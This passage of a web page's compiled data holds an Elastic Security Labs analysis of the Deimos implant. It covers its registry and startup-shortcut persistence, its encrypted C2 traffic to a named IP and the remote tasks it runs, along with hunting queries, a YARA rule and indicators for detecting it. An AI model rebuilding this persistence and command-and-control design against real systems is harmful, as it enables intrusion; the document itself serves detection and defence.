\",(0,i.jsx)(e.code,{children:\"HKEY\\\\_CURRENT\\\\_USER\\\\Software\\\\Classes\\\\\u003crandom string\u003e\\\\\"}),\", where the random string follows the same convention as mentioned above, except for all lowercase characters. The first key will further have a subkey of \\\\Shell\\\\Open\\\\Command that contains the loader PowerShell script. The string value itself has mixed cases in an effort to be more difficult to search for. For example PowErShELl was used in our sample. The second key is effectively an alias that matches the file extension of the first randomly generated file above. It's value matches the lowercase value of the random string used in the first key's path.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The final persistence artifact is a .LNk file that is placed in the user's StartUp directory. In this sample, it is hard-coded to be named a44f066dfa44db9fba953a982d48b.LNk. The shortcut is set to launch the first randomly generated file above and will open in a minimized window. Upon user login, the link file will tell Windows to launch the file, but it isn't executable. The registry keys above tell Windows to launch the PowerShell command configured in the first key above to execute the file. The PowerShell command contains the full path to the obfuscated .Net DLL and the XOR key to deobfuscate it. Finally, the .Net DLL assembly will be executed by PowerShell by calling the class method [Mars.Deimos]::interact(). This persistence architecture can be difficult to follow in text, so below is a visual representation of the persistence mechanism.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-persistence-mechanism-flow.png\",alt:\"Figure 11: Persistence mechanism flow\",width:\"1440\",height:\"1738\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"command-and-control-phase\",children:\"Command and Control Phase\"}),`\n`,(0,i.jsx)(e.p,{children:\"The malware provides a general-purpose implant that can perform any action at its privilege level. Namely, it can receive and execute a Windows PE file, a PowerShell script, a .Net DLL assembly, or run arbitrary PowerShell commands.\"}),`\n`,(0,i.jsx)(e.p,{children:\"There are a few command-specific permutations of payload encapsulations, but they are passed to a common method to perform the web request to the C2 server. The web request uses an HTTP POST method and sets a 10-minute timeout on establishing communication.\"}),`\n`,(0,i.jsx)(e.p,{children:\"No additional headers are set other than the default headers populated by the .Net WebRequest provider, which are: Host, Content-Length, and Connection: Keep-Alive.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`POST / HTTP/1.1\nHost: 216.230.232.134\nContent-Length: 677\nConnection: Keep-Alive\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 12: C2 HTTP headers\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Figure 13 depicts the hex dump of the body of the client's POST request.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-c2-http-body.jpg\",alt:\"Figure 13: C2 HTTP body\",width:\"964\",height:\"812\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The first bytes in white are randomly generated and prepended to the body to obfuscate patterns in network communication. There will be between 0 and 512 of these bytes. Next, shown in green, is a null byte, marking the end of random data. The next 10 bytes, shown in blue, are a \\u201Ccookie\\u201D value sent in the last communication from the server. This is likely to prevent replaying captured packets to the server, as each communication is unique. There is nothing specific requiring this to be 10 bytes, but in all traffic we observed, this was the case. In the case of the initial check-in, this is not present. Finally, the remaining bytes shown in red here are the encrypted body. For the initial check-in, this is exactly 256-bytes of RSA encrypted data that includes the key that will be used in follow-on communications, and the unique hardware ID for this implant. For the remaining communications, the client uses AES-128 CBC mode for encryption. For AES encryption, this portion will always be a multiple of 16-bytes in length.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The RSA public key used for the initial handshake is unique for each campaign. Using the YARA rule in \",(0,i.jsx)(e.a,{href:\"#yara-rules\",children:\"Figure 24\"}),\", we were able to discover a total of 65 samples of the implant. The RSA key provided a pivot to discern unique campaigns, spanning countries from the United States to Moldova. Only 12.5% of the samples included information stealing features, similar to what has been observed with the Jupyter Infostealer. The rest of the samples were the Deimos implant with no additional info stealing capabilities. This could mean that the implant is gaining in popularity as it is full-featured and can be used for initial access and persistence for any campaigns.\"]}),`\n`,(0,i.jsx)(e.h4,{id:\"main-loop\",children:\"Main Loop\"}),`\n`,(0,i.jsx)(e.p,{children:\"Once the check-in process is completed, the main process loop begins. The default action of the implant during the main loop is the ping action. ping sends information about the environment, including the machine name, Windows version, CPU architecture, information about if the user has administrative privileges, and a version string for the implant.\"}),`\n`,(0,i.jsx)(e.p,{children:'If a task is scheduled for the implant, the response to the ping command will contain a status value that is set to either \"file\" or \"command\". If no task is given, the implant will sleep for 20 seconds + a random wait between 0 and 20 seconds. This is the wait time between all tasks.'}),`\n`,(0,i.jsx)(e.p,{children:'For \"file\" tasks, the implant immediately performs another request using the task_id attribute from the task definition to retrieve the file. The implant expects an \"exe\" file, a \"ps1\" file, or a \"module\", which is a .Net Assembly file.'}),`\n`,(0,i.jsxs)(e.p,{children:['When an \"exe\" is downloaded, it will be written to a file in the ',(0,i.jsx)(e.code,{children:\"%TEMP%\\\\\u003cRANDOM\\\\_NAME\u003e.exe\"}),\", where RANDOM_NAME is a 24-character alphanumeric value with all capital letters. A new process is immediately launched by executing the file and the status is reported on the next task interval.\"]}),`\n`,(0,i.jsx)(e.p,{children:'When a \"ps1\" file is downloaded, the contents of the script are passed to a new PowerShell process using Standard Input.'}),`\n`,(0,i.jsx)(e.p,{children:'Finally, \"module\" files are added to a \"plugin manager\" and executes the \"Run\" method.'}),`\n`,(0,i.jsx)(e.p,{children:'For \"command\" tasks, no additional request is required. The \"command\" value from the response contains PowerShell code that will be executed the same as the \"ps1\" file type.'}),`\n`,(0,i.jsx)(e.p,{children:'Presumably, the difference is for quick scripts or perhaps interactive operations, the threat actor would use the \"command\" type. For larger scripts, the \"file\" type would be used.'}),`\n`,(0,i.jsx)(e.h3,{id:\"tools\",children:\"Tools\"}),`\n`,(0,i.jsx)(e.p,{children:\"Looking at the metadata from all of the observed samples, we can see a high-confidence connection in that they were all created using a single PDF software platform.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`Comments : This installation was built with Inno Setup.\nCompany Name :\nFile Description : SlimReader Setup\nFile Version :\nLegal Copyright : (c) InvestTech\nOriginal File Name :\nProduct Name : SlimReader\nProduct Version : 1.4.1.2\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 14: Malware lure file metadata\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"While this software seems to be legitimate, it seems to be frequently used to create lure files. We have observed 53 malware, or malware-adjacent, samples created using the SlimReader tool. Additionally, the research team at eSentire \",(0,i.jsx)(e.a,{href:\"https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire\",rel:\"nofollow\",children:\"identified\"}),\" SlimReader as the tool of choice in the creation of, as reported, many hundreds of thousands of lure files.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"ttps\",children:\"TTPs\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"At the very top of the pyramid, we observe a characteristic that is present in our samples as well as others reported by security researchers. In all observed cases, the malware used techniques known as \",(0,i.jsx)(e.a,{href:\"https://developers.google.com/search/docs/advanced/guidelines/sneaky-redirects\",rel:\"nofollow\",children:\"Google Sneaky Redirects\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882\",rel:\"nofollow\",children:\"Search Engine Optimization (SEO) Poisoning\"}),\" to trick users into installing the malware.\"]}),`\n`,(0,i.jsx)(e.p,{children:'SEO poisoning is a technique used to put SEO keywords in a document to inflate its ranking on search engines, so malicious documents and websites are higher on web search results. Additionally, Google Sneaky Redirects is a technique used to name the initial malware installer after the Google search as a way to fool the user into clicking on the file they downloaded. As an example, if a user searches for \"free resume template\", and then clicks on a malicious website that appears to have that file, they will be presented with a malware installer named, in this example, free-resume-template.exe. The malware will leverage a PDF icon even though it is an executable as an attempt to trick the user into executing the PE file, which starts the PowerShell processes highlighted below in the Elastic Analyzer view.'}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-malware-executing-obfuscated-powershell-processes.png\",alt:\"Figure 15: Malware executing obfuscated PowerShell processes\",width:\"1440\",height:\"688\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Understanding the malware processes as well as how it interacts with the different elements with the Pyramid of Pain is paramount to inflicting long-term impacts to the activity group and intrusion sets.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"impact\",children:\"Impact\"}),`\n`,(0,i.jsx)(e.p,{children:\"The described intrusion sets leverage multiple tactics and techniques categorized by the MITRE ATT\u0026CK\\xAE framework. Other TTPs may exist, however, they were not observed during our analysis.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0042\",rel:\"nofollow\",children:\"Resource Development\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0001\",rel:\"nofollow\",children:\"Initial Access\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0003\",rel:\"nofollow\",children:\"Persistence\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"techniques--sub-techniques\",children:\"Techniques / Sub Techniques\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1583\",rel:\"nofollow\",children:\"Acquire Infrastructure\"}),\" - \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1583/003\",rel:\"nofollow\",children:\"Virtual Private Server\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1587\",rel:\"nofollow\",children:\"Develop Capabilities\"}),\" - \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1587/001\",rel:\"nofollow\",children:\"Malware\"}),\", \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1587/002\",rel:\"nofollow\",children:\"Code Signing Certificates\"}),\" or \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1588\",rel:\"nofollow\",children:\"Obtain Capabilities\"}),\" - \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1588/001\",rel:\"nofollow\",children:\"Malware\"}),\", \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1588/003\",rel:\"nofollow\",children:\"Code Signing Certificates\"})]}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1189/\",rel:\"nofollow\",children:\"Drive-by Compromise\"})}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059\",rel:\"nofollow\",children:\"Command and Scripting Interpreter\"}),\" - \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059/001\",rel:\"nofollow\",children:\"PowerShell\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1204\",rel:\"nofollow\",children:\"User Execution\"}),\" - \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1204/002\",rel:\"nofollow\",children:\"Malicious File\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1547\",rel:\"nofollow\",children:\"Boot or Logon Autostart Execution\"}),\" - \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1547/001\",rel:\"nofollow\",children:\"Registry Run Keys / Startup Folder\"})]}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1140\",rel:\"nofollow\",children:\"Deobfuscate/Decode Files or Information\"})}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027\",rel:\"nofollow\",children:\"Obfuscated Files or Information\"}),\" - \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/005\",rel:\"nofollow\",children:\"Indicator Removal from Tools\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1071\",rel:\"nofollow\",children:\"Application Layer Protocol\"}),\" - \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1071/001\",rel:\"nofollow\",children:\"Web Protocols\"})]}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"detection\",children:\"Detection\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"There is an \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/8.0/shortcut-file-written-or-modified-for-persistence.html\",rel:\"nofollow\",children:\"existing detection rule\"}),\" that will generically identify this activity. We are also releasing two additional rules to detect these techniques. Additionally, we are providing hunting queries that can identify other intrusion sets leveraging similar techniques.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"detection-logic\",children:\"Detection Logic\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic maintains a public repository for detection logic using the Elastic Stack and Elastic Endgame.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"new-detection-rules\",children:\"New Detection Rules\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/issues/1488\",rel:\"nofollow\",children:\"Suspicious Registry Modifications\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/issues/1489\",rel:\"nofollow\",children:\"Abnormal File Extension in User AppData Roaming Path\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"hunting-queries\",children:\"Hunting Queries\"}),`\n`,(0,i.jsx)(e.p,{children:\"These queries can be used in Kibana's Security -\u003e Timelines -\u003e New Timeline \\u2192 Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.\"}),`\n`,(0,i.jsx)(e.p,{children:\"This query will identify the initial dropped file containing the obfuscated installer.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`file where file.path regex \"\"\"C:\\\\\\\\Users\\\\\\\\[^\\\\\\\\]*\\\\\\\\([a-z0-9]{32}\\\\\\\\){6}[a-z0-9]{32}\"\"\"\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 16: Hunt query identifying initial installer\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-initial-installer-using-timelines.jpg\",alt:\"Figure 17: Hunt query identifying initial installer using Timelines\",width:\"1440\",height:\"834\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"This query will identify the unique \\u201CHardware ID\\u201D file (\",(0,i.jsx)(e.code,{children:\"hwid\"}),\") that is created the first time the implant is run. This ID file is used to uniquely identify this installation.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`file where file.path regex~ \"\"\".*\\\\\\\\APPDATA\\\\\\\\ROAMING\\\\\\\\[A-Za-z0-9_]{96,192}\"\"\"\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 18: Hunt query identifying Hardware ID\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-hardware-id-using-timelines.jpg\",alt:\"Figure 19: Hunt query identifying Hardware ID using Timelines\",width:\"1440\",height:\"887\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This query will identify any files with a file extension of ten or more characters in the AppData\\\\Roaming path.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`file where file.path : \"*\\\\\\\\appdata\\\\\\\\roaming\\\\\\\\*\" and\nlength(file.extension) \u003e= 10 and\nprocess.name : (\"cmd.exe\", \"powershell.exe\", \"wmic.exe\", \"mshta.exe\", \"pwsh.exe\", \"cscript.exe\", \"wscript.exe\", \"regsvr32.exe\", \"RegAsm.exe\", \"rundll32.exe\", \"EQNEDT32.EXE\", \"WINWORD.EXE\", \"EXCEL.EXE\", \"POWERPNT.EXE\", \"MSPUB.EXE\", \"MSACCESS.EXE\", \"iexplore.exe\", \"InstallUtil.exe\")\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 20: Hunt query identifying long file extensions\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-long-file-extensions-in-timelines.jpg\",alt:\"Figure 21: Hunt query identifying long file extensions in Timelines\",width:\"1440\",height:\"855\"})}),`\n`,(0,i.jsx)(e.p,{children:'This query will identify a long string value containing the word \"powershell\" in the Registry.'}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`registry where registry.data.strings : \"*powershell*\" and length(registry.data.strings) \\\\\u003e= 100\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 22: Hunt query identifying long Registry strings\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-long-registry-strings-in-timelines.jpg\",alt:\"Figure 23: Hunt query identifying long Registry strings in Timelines\",width:\"1440\",height:\"787\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"yara-rules\",children:\"YARA Rules\"}),`\n`,(0,i.jsx)(e.p,{children:\"We have created a YARA rule to identify the presence of the Deimos trojan DLL file described in this post.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_Deimos_DLL {\nmeta:\nauthor = \"Elastic Security\"\ncreation_date = \"2021-09-18\"\nlast_modified = \"2021-09-18\"\nos = \"Windows\"\narch = \"x86\"\ncategory_type = \"Trojan\"\nfamily = \"Deimos\"\nthreat_name = \"Windows.Trojan.Deimos\"\ndescription = \"Detects the presence of the Deimos trojan DLL file.\"\nreference = \"\"\nreference_sample = \"2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e\"\n\nstrings:\n$a1 = \"\\\\\\\\APPDATA\\\\\\\\ROAMING\" wide fullword\n$a2 = \"\\\\{\\\\\"action\\\\\":\\\\\"ping\\\\\",\\\\\"\" wide fullword\n$a3 = \"Deimos\" ascii fullword\n$b1 = \\\\{ 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 \\\\}\n$b2 = \\\\{ 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D \\\\}\ncondition:\nall of ($a*) or 1 of ($b*)\n\\\\}\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 24: Deimos DLL YARA Rule\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"You can access this YARA rule \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/examples/tree/master/blog/climbing-the-pyramid-with-celestial-themed-malware\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"defensive-recommendations\",children:\"Defensive Recommendations\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following steps can be leveraged to improve a network's protective posture.\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Review and ensure that you have deployed the latest Microsoft Security Updates\"}),`\n`,(0,i.jsx)(e.li,{children:\"Maintain backups of your critical systems to aid in quick recovery.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following research was referenced throughout the document:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1\",rel:\"nofollow\",children:\"https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://redcanary.com/blog/yellow-cockatoo\",rel:\"nofollow\",children:\"https://redcanary.com/blog/yellow-cockatoo\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis\",rel:\"nofollow\",children:\"https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn\u0026ThreatID=2147770772\",rel:\"nofollow\",children:\"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn\u0026ThreatID=2147770772\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html\",rel:\"nofollow\",children:\"http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction\",rel:\"nofollow\",children:\"https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer\",rel:\"nofollow\",children:\"https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two\",rel:\"nofollow\",children:\"https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire\",rel:\"nofollow\",children:\"https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882\",rel:\"nofollow\",children:\"https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"indicators\",children:\"Indicators\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Indicators\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Note\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421\"}),(0,i.jsx)(e.td,{children:\"SHA256 hash\"}),(0,i.jsx)(e.td,{children:\"Lure file\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21f\"}),(0,i.jsx)(e.td,{children:\"SHA256 hash\"}),(0,i.jsx)(e.td,{children:\"Malware installer\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54\"}),(0,i.jsx)(e.td,{children:\"SHA256 hash\"}),(0,i.jsx)(e.td,{children:\".NET DLL file\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"216[.]230[.]232[.]134\"}),(0,i.jsx)(e.td,{children:\"IP address\"}),(0,i.jsx)(e.td,{children:\"Command and control\"})]})]})]})})]})}function T(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(h,t)})):h(t)}var k=T;return y(S);})();\n;return Component;"},"_id":"articles/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant.mdx","_raw":{"sourceFilePath":"articles/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant.mdx","sourceFileName":"going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant"},"type":"Article","imageUrl":"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/blog-security-radar-720x420.png","readingTime":"25 min read","series":"","url":"/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant","headings":[{"level":2,"title":"Overview","href":"#overview"},{"level":2,"title":"Details","href":"#details"},{"level":2,"title":"Analysis","href":"#analysis"},{"level":3,"title":"The Pyramid of Pain","href":"#the-pyramid-of-pain"},{"level":3,"title":"File Hashes","href":"#file-hashes"},{"level":3,"title":"IP Addresses","href":"#ip-addresses"},{"level":3,"title":"Artifacts","href":"#artifacts"},{"level":4,"title":"Resource Development","href":"#resource-development"},{"level":2,"title":"File Hashes","href":"#file-hashes-1"},{"level":2,"title":"IP Addresses","href":"#ip-addresses-1"},{"level":3,"title":"Artifacts","href":"#artifacts-1"},{"level":5,"title":"Resource Development","href":"#resource-development-1"},{"level":2,"title":"Initial Access","href":"#initial-access"},{"level":2,"title":"Persistence","href":"#persistence"},{"level":4,"title":"Command and Control Phase","href":"#command-and-control-phase"},{"level":4,"title":"Main Loop","href":"#main-loop"},{"level":3,"title":"Tools","href":"#tools"},{"level":3,"title":"TTPs","href":"#ttps"},{"level":2,"title":"Impact","href":"#impact"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques / Sub Techniques","href":"#techniques--sub-techniques"},{"level":2,"title":"Detection","href":"#detection"},{"level":3,"title":"Detection Logic","href":"#detection-logic"},{"level":3,"title":"New Detection Rules","href":"#new-detection-rules"},{"level":2,"title":"Hunting Queries","href":"#hunting-queries"},{"level":2,"title":"YARA Rules","href":"#yara-rules"},{"level":2,"title":"Defensive Recommendations","href":"#defensive-recommendations"},{"level":2,"title":"References","href":"#references"},{"level":2,"title":"Indicators","href":"#indicators"}],"author":[{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return 